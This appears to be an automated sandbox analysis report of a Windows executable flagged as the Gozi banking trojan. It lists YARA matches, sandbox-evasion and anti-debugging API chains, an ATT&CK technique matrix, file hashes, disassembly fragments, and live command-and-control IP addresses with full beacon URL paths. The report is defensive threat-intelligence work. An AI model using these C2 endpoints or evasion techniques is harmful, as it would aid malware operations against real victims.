      Source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: Process Memory Space: server.exe PID: 3536, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: Process Memory Space: server.exe PID: 3536, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE16DF
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE1D8A
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE832C
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_0040110B GetProcAddress,NtCreateSection,memset,
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_00401459 NtMapViewOfSection,
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_004019F1 NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE421F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE8551 NtQueryVirtualMemory,
      Source: server.exeVirustotal: Detection: 55%
      Source: server.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Users\user\Desktop\server.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
      Source: C:\Users\user\Desktop\server.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32
      Source: classification engineClassification label: mal100.troj.evad.winEXE@1/0@1/2
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE30D5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,
      Source: C:\Users\user\Desktop\server.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Users\user\Desktop\server.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Users\user\Desktop\server.exeFile opened: C:\Windows\SysWOW64\msvcr100.dll
      Source: server.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
      Source: server.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
      Source: server.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
      Source: server.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
      Source: server.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
      Source: server.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
      Source: server.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
      Source: Binary string: C:\nexonanil\dituvap\gekezatuz82\povosozuwozob16\saleni90 c.pdb source: server.exe

      Data Obfuscation

      barindex
      Source: C:\Users\user\Desktop\server.exeUnpacked PE file: 0.2.server.exe.400000.0.unpack
      Source: C:\Users\user\Desktop\server.exeUnpacked PE file: 0.2.server.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.bss:W;.rsrc:R;.reloc:R;
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE831B push ecx; ret
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE7F30 push ecx; ret
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02E50F9B push 8B8751D0h; retf
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02E56227 push edi; ret
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_00401000 LoadLibraryA,GetProcAddress,

      Hooking and other Techniques for Hiding and Protection

      barindex
      Source: Yara matchFile source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: server.exe PID: 3536, type: MEMORYSTR
      Source: C:\Users\user\Desktop\server.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\Desktop\server.exeProcess information set: NOOPENFILEERRORBOX

      Malware Analysis System Evasion

      barindex
      Source: C:\Users\user\Desktop\server.exeEvasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep
      Source: C:\Users\user\Desktop\server.exe TID: 5536Thread sleep count: 31 > 30
      Source: C:\Users\user\Desktop\server.exeCheck user administrative privileges: GetTokenInformation,DecisionNodes
      Source: C:\Users\user\Desktop\server.exeAPI call chain: ExitProcess graph end node
      Source: server.exe, 00000000.00000002.568866270.0000000002EB8000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWPW

      Anti Debugging

      barindex
      Source: C:\Users\user\Desktop\server.exeDebugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_00401000 LoadLibraryA,GetProcAddress,
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02E4E470 push dword ptr fs:[00000030h]
      Source: C:\Users\user\Desktop\server.exeCode function: NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE3BD3 cpuid
      Source: C:\Users\user\Desktop\server.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_004015B0 GetSystemTimeAsFileTime,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_00401D68 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,
      Source: C:\Users\user\Desktop\server.exeCode function: 0_2_02CE3BD3 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: server.exe PID: 3536, type: MEMORYSTR

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: server.exe PID: 3536, type: MEMORYSTR
      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid Accounts2
      Windows Management Instrumentation
      Path InterceptionPath Interception11
      Virtualization/Sandbox Evasion
      1
      Input Capture
      1
      System Time Discovery
      Remote Services1
      Input Capture
      Exfiltration Over Other Network Medium2
      Encrypted Channel
      Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
      Data Encrypted for Impact
      Default Accounts12
      Native API
      Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
      Obfuscated Files or Information
      LSASS Memory11
      Security Software Discovery
      Remote Desktop Protocol11
      Archive Collected Data
      Exfiltration Over Bluetooth1
      Ingress Tool Transfer
      Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)21
      Software Packing
      Security Account Manager11
      Virtualization/Sandbox Evasion
      SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
      Non-Application Layer Protocol
      Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDS1
      Process Discovery
      Distributed Component Object ModelInput CaptureScheduled Transfer12
      Application Layer Protocol
      SIM Card SwapCarrier Billing Fraud
      Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
      Account Discovery
      SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
      Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain Credentials1
      System Owner/User Discovery
      VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
      External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSync1
      Remote System Discovery
      Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem124
      System Information Discovery
      Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      server.exe55%VirustotalBrowse
      server.exe100%Joe Sandbox ML
      No Antivirus matches
      SourceDetectionScannerLabelLinkDownload
      0.2.server.exe.2ce0000.2.unpack100%AviraHEUR/AGEN.1245293Download File
      0.2.server.exe.400000.0.unpack100%AviraTR/Crypt.XPACK.Gen7Download File
      No Antivirus matches
      SourceDetectionScannerLabelLink
      http://5.44.43.17/drew/4g9Pq9f8yl_2BqLNg_2F/GsF66vmh2Tpicwg37xs/IeFtLuJ4Vgq9WwijsD2n0d/Bquuj0kLXj_2B0%Avira URL Cloudsafe
      http://5.44.43.17/0%Avira URL Cloudsafe
      http://31.41.44.108/drew/FJTU0wze8Hjvm_2BHka/T78K158O_2Fv5farATygbE/7uQJsjJeUPlO2/LBUhKSJa/o4FD53ecF0%Avira URL Cloudsafe
      http://5.44.43.17/98D0-4585-A1ED-B2838757AE1B0%Avira URL Cloudsafe
      http://5.44.43.17/-A1ED-B2838757AE1B0%Avira URL Cloudsafe
      http://5.44.43.17/drew/4g9Pq9f8yl_2BqLNg_2F/GsF66vmh2Tpicwg37xs/IeFtLuJ4Vgq9WwijsD2n0d/Bquuj0kLXj_2B/g9_2Bh6q/18_2Bd4Y19mjSIvebXNvx4u/IKPQjubsH_/2BffqZNZA6lqyycQo/1wN43eb54EKC/UkUZJXRrn4j/R3115Fw4Czb8SK/xar7XimyyrkEE9m9c0UP0/1KSNpQlordpxo1Ws/_2B6QH8tLTSTNrP/6dO_2BuUeu5EmaGfZI/wcja66YPQ/Z_2B4nfOuMl7_2BnQaBq/8KUwwwam.jlk0%Avira URL Cloudsafe
      http://31.41.44.108/320%Avira URL Cloudsafe
      http://5.44.43.17/1%VirustotalBrowse
      http://31.41.44.108/0%Avira URL Cloudsafe
      http://31.41.0%Avira URL Cloudsafe
      NameIPActiveMaliciousAntivirus DetectionReputation
      checklist.skype.com
      unknown
      unknownfalse
        high
        NameMaliciousAntivirus DetectionReputation
        http://5.44.43.17/drew/4g9Pq9f8yl_2BqLNg_2F/GsF66vmh2Tpicwg37xs/IeFtLuJ4Vgq9WwijsD2n0d/Bquuj0kLXj_2B/g9_2Bh6q/18_2Bd4Y19mjSIvebXNvx4u/IKPQjubsH_/2BffqZNZA6lqyycQo/1wN43eb54EKC/UkUZJXRrn4j/R3115Fw4Czb8SK/xar7XimyyrkEE9m9c0UP0/1KSNpQlordpxo1Ws/_2B6QH8tLTSTNrP/6dO_2BuUeu5EmaGfZI/wcja66YPQ/Z_2B4nfOuMl7_2BnQaBq/8KUwwwam.jlktrue
        • Avira URL Cloud: safe
        unknown
        NameSourceMaliciousAntivirus DetectionReputation
        http://5.44.43.17/drew/4g9Pq9f8yl_2BqLNg_2F/GsF66vmh2Tpicwg37xs/IeFtLuJ4Vgq9WwijsD2n0d/Bquuj0kLXj_2Bserver.exe, 00000000.00000002.568866270.0000000002EB8000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000000.00000002.568866270.0000000002EAC000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        unknown
        http://5.44.43.17/server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpfalse
        • 1%, Virustotal, Browse
        • Avira URL Cloud: safe
        unknown
        http://5.44.43.17/-A1ED-B2838757AE1Bserver.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        unknown
        http://31.41.44.108/drew/FJTU0wze8Hjvm_2BHka/T78K158O_2Fv5farATygbE/7uQJsjJeUPlO2/LBUhKSJa/o4FD53ecFserver.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000000.00000002.568866270.0000000002EAC000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        unknown
        http://5.44.43.17/98D0-4585-A1ED-B2838757AE1Bserver.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        unknown
        http://31.41.44.108/server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        unknown
        http://31.41.44.108/32server.exe, 00000000.00000002.568866270.0000000002E5E000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        unknown
        http://31.41.server.exe, 00000000.00000002.568929049.00000000049BC000.00000004.00000010.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        low
        http://checklist.skype.com/drew/RCiQyn59/Gow2vU3BObfVI7A8uLXOgnm/720Rvxrh27/9sCisgCQ1dbhwi3H4/XmYN2Iserver.exe, 00000000.00000002.568866270.0000000002EAC000.00000004.00000020.00020000.00000000.sdmpfalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          5.44.43.17
          unknownRussian Federation
          202423MGNHOST-ASRUtrue
          31.41.44.108
          unknownRussian Federation
          56577ASRELINKRUfalse
          Joe Sandbox Version:37.0.0 Beryl
          Analysis ID:827054
          Start date and time:2023-03-15 14:38:10 +01:00
          Joe Sandbox Product:CloudBasic
          Overall analysis duration:0h 6m 12s
          Hypervisor based Inspection enabled:false
          Report type:light
          Cookbook file name:default.jbs
          Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
          Number of analysed new started processes analysed:7
          Number of new started drivers analysed:0
          Number of existing processes analysed:0
          Number of existing drivers analysed:0
          Number of injected processes analysed:0
          Technologies:
          • HCA enabled
          • EGA enabled
          • HDC enabled
          • AMSI enabled
          Analysis Mode:default
          Analysis stop reason:Timeout
          Sample file name:server.exe
          Detection:MAL
          Classification:mal100.troj.evad.winEXE@1/0@1/2
          EGA Information:
          • Successful, ratio: 100%
          HDC Information:
          • Successful, ratio: 56.7% (good quality ratio 55.1%)
          • Quality average: 82%
          • Quality standard deviation: 26.5%
          HCA Information:
          • Successful, ratio: 95%
          • Number of executed functions: 0
          • Number of non-executed functions: 0
          Cookbook Comments:
          • Found application associated with file extension: .exe
          • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe
          • Not all processes where analyzed, report is missing behavior information
          • Report size getting too big, too many NtOpenKeyEx calls found.
          • Report size getting too big, too many NtQueryValueKey calls found.
          No simulations
          No context
          No context
          No context
          No context
          No context
          No created / dropped files found
          File type:PE32 executable (GUI) Intel 80386, for MS Windows
          Entropy (8bit):6.191671893434653
          TrID:
          • Win32 Executable (generic) a (10002005/4) 99.96%
          • Generic Win/DOS Executable (2004/3) 0.02%
          • DOS Executable Generic (2002/1) 0.02%
          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
          File name:server.exe
          File size:316928
          MD5:768928d17e8d3489407b540dbad4a770
          SHA1:8ce488487dc133ef92dec536608b0c1056a3e16a
          SHA256:5d0be9aaad980137d68677d7ef3758d9ce7a4e2d170df0abee803f64b14dcd67
          SHA512:0827c24c00d00ce10e5f6732d29efed6a051eafcc9aeb6a7c69d5b89615f7eb49b5333b6d5614613b0e64f792b3ff6d850108eb736eb1169eccbda09be3ac869
          SSDEEP:3072:3SVRi5/ELPnpP0SbcTS7ipobb2m+9vAh2QlNlfkkVjJ:Cri5ELBcV3qbAIn5NJ
          TLSH:CC642A1393E1BD85E96A8B729E1ED6F8761EF690CE0D776922289F1F04B1076C263710
          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........:..@[..@[..@[..^.>.`[..^./.T[..^.9.#[..g...I[..@[..3[..^.0.A[..^...A[..^.+.A[..Rich@[..........PE..L.....^b...................
          Icon Hash:a4a4a08484b4a4e0
          Entrypoint:0x404f66
          Entrypoint Section:.text
          Digitally signed:false
          Imagebase:0x400000
          Subsystem:windows gui
          Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
          DLL Characteristics:TERMINAL_SERVER_AWARE
          Time Stamp:0x625E87B1 [Tue Apr 19 09:58:09 2022 UTC]
          TLS Callbacks:
          CLR (.Net) Version:
          OS Version Major:5
          OS Version Minor:0
          File Version Major:5
          File Version Minor:0
          Subsystem Version Major:5
          Subsystem Version Minor:0
          Import Hash:25b97b20ea5f74ae1a1939bb76680477
          Instruction
          call 00007FBBDCB55A6Bh
          jmp 00007FBBDCB5393Eh
          mov edi, edi
          push ecx
          mov dword ptr [ecx], 0040125Ch
          call 00007FBBDCB55AEEh
          pop ecx
          ret
          mov edi, edi
          push ebp
          mov ebp, esp
          push esi
          mov esi, ecx
          call 00007FBBDCB53AA8h
          test byte ptr [ebp+08h], 00000001h
          je 00007FBBDCB53AC9h
          push esi
          call 00007FBBDCB53D75h
          pop ecx
          mov eax, esi
          pop esi
          pop ebp
          retn 0004h
          mov edi, edi
          push ebp
          mov ebp, esp
          mov ecx, dword ptr [ebp+08h]
          push ebx
          xor ebx, ebx
          push esi
          push edi
          cmp ecx, ebx
          je 00007FBBDCB53AC9h
          mov edi, dword ptr [ebp+0Ch]
          cmp edi, ebx
          jnbe 00007FBBDCB53ADDh
          call 00007FBBDCB55D4Eh
          push 00000016h
          pop esi
          mov dword ptr [eax], esi
          push ebx
          push ebx
          push ebx
          push ebx
          push ebx
          call 00007FBBDCB55CD7h
          add esp, 14h
          mov eax, esi
          jmp 00007FBBDCB53AF2h
          mov esi, dword ptr [ebp+10h]
          cmp esi, ebx
          jne 00007FBBDCB53AC6h
          mov byte ptr [ecx], bl
          jmp 00007FBBDCB53A9Ch
          mov edx, ecx
          mov al, byte ptr [esi]
          mov byte ptr [edx], al
          inc edx
          inc esi
          cmp al, bl
          je 00007FBBDCB53AC5h
          dec edi
          jne 00007FBBDCB53AB5h
          cmp edi, ebx
          jne 00007FBBDCB53AD2h
          mov byte ptr [ecx], bl
          call 00007FBBDCB55D13h
          push 00000022h
          pop ecx
          mov dword ptr [eax], ecx
          mov esi, ecx
          jmp 00007FBBDCB53A83h
          xor eax, eax
          pop edi
          pop esi
          pop ebx
          pop ebp
          ret
          push 0000000Ch
          push 0040EEC0h
          call 00007FBBDCB54DF4h
          and dword ptr [ebp-1Ch], 00000000h
          mov esi, dword ptr [ebp+08h]
          cmp esi, dword ptr [02AE8870h]
          jnbe 00007FBBDCB53AE4h
          push 00000004h
          call 00007FBBDCB55E70h
          pop ecx
          and dword ptr [ebp+00h], 00000000h
          Programming Language:
          • [C++] VS2008 build 21022
          • [ASM] VS2008 build 21022
          • [ C ] VS2008 build 21022
          • [IMP] VS2005 build 50727
          • [RES] VS2008 build 21022
          • [LNK] VS2008 build 21022
          NameVirtual AddressVirtual Size Is in Section
          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
          IMAGE_DIRECTORY_ENTRY_IMPORT0xf14c0x64.text
          IMAGE_DIRECTORY_ENTRY_RESOURCE0x26e90000x1f6e8.rsrc
          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
          IMAGE_DIRECTORY_ENTRY_BASERELOC0x27090000xa40.reloc
          IMAGE_DIRECTORY_ENTRY_DEBUG0x11c00x1c.text
          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x2d980x40.text
          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
          IMAGE_DIRECTORY_ENTRY_IAT0x10000x184.text
          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
          NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
          .text0x10000xea340xec00False0.5837526483050848data6.736125354250025IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          .data0x100000x26d89c80x17400unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
          .rsrc0x26e90000x1f6e80x1f800False0.4157831101190476data4.733170034701941IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
          .reloc0x27090000x78fc0x7a00False0.0759157274590164data0.9356665533967813IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
          NameRVASizeTypeLanguageCountry
          AFX_DIALOG_LAYOUT0x2704e080x2data
          AFX_DIALOG_LAYOUT0x2704df00xedata
          AFX_DIALOG_LAYOUT0x2704e000x2data
          JOSEFUZITILEP0x27034a80x18d4ASCII text, with very long lines (6356), with no line terminatorsSerbianItaly
          MOXUCAKOSAMIZIJAYIG0x2702cd00x7d1ASCII text, with very long lines (2001), with no line terminatorsSerbianItaly
          RT_CURSOR0x2704e100x330Device independent bitmap graphic, 48 x 96 x 1, image size 0
          RT_CURSOR0x27051400x130Device independent bitmap graphic, 32 x 64 x 1, image size 0
          RT_CURSOR0x27052980xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0
          RT_CURSOR0x27061400x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0
          RT_CURSOR0x27069e80x568Device independent bitmap graphic, 16 x 32 x 8, image size 0
          RT_CURSOR0x2706f800x130Device independent bitmap graphic, 32 x 64 x 1, image size 0
          RT_CURSOR0x27070b00xb0Device independent bitmap graphic, 16 x 32 x 1, image size 0
          RT_ICON0x26e9c600xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0SerbianItaly
          RT_ICON0x26eab080x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0SerbianItaly
          RT_ICON0x26eb3b00x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 0SerbianItaly
